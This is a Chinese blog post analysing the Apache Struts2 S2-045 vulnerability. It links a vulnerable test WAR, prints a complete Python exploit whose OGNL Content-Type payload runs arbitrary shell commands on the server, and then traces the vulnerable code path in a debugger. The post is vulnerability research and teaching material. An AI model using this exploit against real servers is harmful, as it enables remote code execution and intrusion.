漏洞分析马后炮 s2-045漏洞分析

漏洞分析马后炮 s2-045漏洞分析

本文包含如下内容:

0x00 目录


0x01 环境搭建

现成的符合版本要求的弱环境下载:

https://raw.githubusercontent.com/mottoin/S2-045/master/S2-045.war

0x02 PoC分析

网上下载的exp-s2-045,用来测试漏洞:

#!/usr/bin/python
# -*- coding: utf-8 -*-
import urllib2
import httplib
def exploit(url, cmd):
    payload = "Content-Type:%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"
    try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial
    print(page)
    return page

这里先不解释代码,配合后面的DEBUG来解释以上PoC代码。

0x03 代码DEBUG

运行PoC代码

运行PoC,成功即运行calc,弹出一个计算器
用法为

*.py [url] [cmd]

第一个断点

因为我事先分析过了,先在这里打个断点。
此时计算器还没弹出,我们继续跟进到方法:

getDefaultMessage(String, Locale, ValueStack, Object[], String)

跟进第一个方法

如下是defaultMessage的内容,他包含我们所有的Content-Type内容,我们跟进他在哪里被引用。

the request doesn’t contain a multipart/form-data or multipart/mixed stream, content type header is 【Content-Type内容】

message被代替成传入的参数

message = defaultMessage

buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);

该段为message最后被引用到的地方,跟进到两个方法内,先到如下:

translateVariables(String, ValueStack)

第一次跟进translateVariables方法

第一次跟进translateVariables方法,发现还是调用的方法,一路跟进,直接看实现具体的实现。

真正调用shell的方法
shell方法继承的接口

从这两张图可以看出,他继承了接口

com.opensymphony.xwork2.util.TextParseUtil.ParsedValueEvaluator

在创建对象后立即重写了方法:

com.opensymphony.xwork2.util.TextParseUtil.ParsedValueEvaluator.evaluate(String)

最后要知道是,为什么该方法是怎么执行构造的内容的。

先看看这个方法的API

evaluate

Object evaluate(String parsedValue)
Evaluated the value parsed by Ognl value stack.

这里提到Ognl值栈,我们只需要构造Ognl语句,利用Ognl语句获得cmd或者shell。


  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值